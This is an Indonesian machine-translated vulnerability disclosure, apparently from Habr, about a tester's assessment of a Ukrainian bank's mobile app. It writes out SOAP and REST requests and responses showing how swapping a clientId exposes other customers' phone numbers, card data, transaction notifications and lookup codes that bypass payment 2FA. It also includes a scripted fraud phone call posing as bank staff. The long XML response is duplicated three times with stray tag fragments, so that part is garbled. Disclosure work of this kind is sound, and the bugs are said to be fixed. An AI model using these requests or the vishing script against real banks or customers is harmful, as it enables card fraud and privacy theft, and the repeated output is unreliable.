Memperoleh informasi dan melewati otentikasi dua faktor pada kartu bank dari TOP-10 (Ukraina)

Tahun lalu, sebuah bank Ukraina dari TOP-10 mengundang saya untuk menguji kerentanan sistem internet dan mobile banking-nya.

Pertama-tama, saya memutuskan untuk memulai dengan melacak permintaan aplikasi seluler. Dengan bantuan Fiddler (Burp atau Charles), saya mulai mempertimbangkan setiap permintaan aplikasi, melakukan semua operasi yang tersedia di akun saya. Mobile banking tidak dilindungi oleh pinning SSL, jadi itu tidak sulit.

Dalam permintaan GET dan POST, saya mencoba mengubah parameter untuk mendapatkan apa yang saya cari, tetapi untuk waktu yang lama saya tidak bisa berhasil - saya mendapat kesalahan seperti "Akses ditolak". Namun, saya memang menemukan pertanyaan yang saya butuhkan.

Sebagai contoh:

1. Dengan menjalankan permintaan POST ke alamat formulir

https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint 

Dengan parameter tertentu:

 SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

badan permintaan:
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope> 

Sebagai tanggapan, saya menerima cukup banyak informasi tentang klien lain:

 <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ sbb: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ sbb: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> 

Ini adalah data berikut:

  1. nomor telepon pelanggan ("nomor telepon");
  2. jumlah kartu (setiap parameter "cardId");
  3. nomor kartu tersebut yang terpotong ("hashNum");
  4. tanggal pendaftaran di Internet banking ("regDate");
  5. di mana perangkat aplikasi digunakan - Android atau iOS ("platform");
  6. dan sebagainya

Mengubah parameter "ib: clientId" di tubuh permintaan (dalam responsnya adalah "sbb: extClientId") dari 3618336 ke yang lain, kami mendapatkan informasi tentang klien lain.

Mari kita lanjutkan.

2. Sekarang untuk klien di mana "sbb: channelId" adalah "2" (saluran untuk menerima pemberitahuan klien: jika 1 - SMS, 2 - push), ambil clientId (extClientId) dan gantikan dengan permintaan GET untuk alamat

 https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10 

dengan parameter berikut:

 Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

Sebagai tanggapan, kami menerima pemberitahuan push yang dikirim ke klien ini:

 [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}] 

Di sini Anda dapat melihat:

  1. pada operasi kartu apa;
  2. berapa jumlahnya;
  3. tanggal dan waktu operasi;
  4. jenis operasi apa itu (membeli di toko, menarik diri dari ATM atau mesin kasir, mengisi kembali kartu, dll.);
  5. outlet tempat operasi dilakukan - termasuk kode otorisasi yang diperlukan untuk mengonfirmasi pembayaran di situs pembayaran - LookUp, VCODE, CardVerif - selengkapnya di bawah ini;
  6. saldo kartu setelah setiap operasi.

Mengingat besarnya jumlah data yang diterima dan menggunakan rekayasa sosial, dimungkinkan untuk menarik uang dari kartu pelanggan di situs pembayaran.

Misalnya, penipu akan menelepon +380509876543 dengan percakapan berikut:

 Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH 

- Selamat sore, karyawan pemantau SomeBank mengganggu Anda. Kami mendeteksi aktivitas mencurigakan pada kartu Anda setelah operasi terakhir. Apakah Anda membayar dengan kartu 5111-1115 untuk UAH 62,08?
- Mungkin iya.
- Operasi ini hari ini, 23/9/18, pukul 03:38 di UBER. Apakah Anda mengonfirmasi operasi ini?
- Ah, ya, itu aku.
- Dan sebelum itu, Anda menetap di TAVRIYA PLUS untuk 50 UAH. dan membeli kopi di SHEVCHENko PARK seharga 29 UAH, kan?
- Ya persis.
- Bagus Untuk membatalkan operasi penipuan untuk UAH 444, beri tahu saya nomor cabang tempat kartu Anda dikeluarkan - ini adalah tiga angka di belakang kartu, dan juga ...

Jika klien ragu-ragu, Anda dapat menyebutkan operasinya yang lain - menggunakan kerentanan Anda dapat melihatnya dalam jumlah yang tidak terbatas.



Jadi, sebagai bagian dari studi aplikasi mobile, metode ditemukan untuk memperoleh data berikut:

  1. kemampuan untuk melewati otentikasi dua faktor di situs pembayaran;
  2. nomor telepon pelanggan;
  3. jumlah kartunya;
  4. nomor kartu terpotong;
  5. tanggal pendaftaran di perbankan online;
  6. Pesan yang dikirim ke klien di smartphone. Sertakan informasi:
  7. pada operasi kartu apa;
  8. berapa jumlahnya;
  9. tanggal dan waktu transaksi;
  10. jenis transaksi apa itu (membeli di toko, menarik dari ATM atau mesin kasir, mengisi ulang kartu, dll.);
  11. tempat penjualan tempat operasi ini dilakukan - termasuk kode otorisasi (LookUp);
  12. saldo kartu setelah operasi;
  13. dan masih banyak lagi.

Saya akan menjelaskan keseriusan Klausul 11. Karena kartu bank ini tidak memiliki 3D-Secure (ketika kode dikirim ke klien melalui SMS yang harus dimasukkan untuk mengkonfirmasi operasi), layanan pembayaran (misalnya, Portmone, iPay, EasyPay, dan banyak lainnya) melakukan operasi pada kartu tersebut tanpa verifikasi tambahan. Atau mereka meminta kode khusus 2FA (kode Pencarian), yang terkandung dalam rincian operasi - atas nama outlet.

Dengan demikian, penipu dapat dengan mudah menemukan informasi tentang pelanggan, dan untuk mengonfirmasi pembayaran mereka hanya akan melihat kode yang diperlukan dalam sistem bank.

Saya juga ingin mencatat bahwa layanan ini tidak memblokir banyak permintaan, dan, memilah-milah data, adalah mungkin untuk mengumpulkan database dengan informasi yang sangat besar.

Beberapa waktu setelah melaporkan kerentanan, mereka diperbaiki.

Source: https://habr.com/ru/post/id441104/


All Articles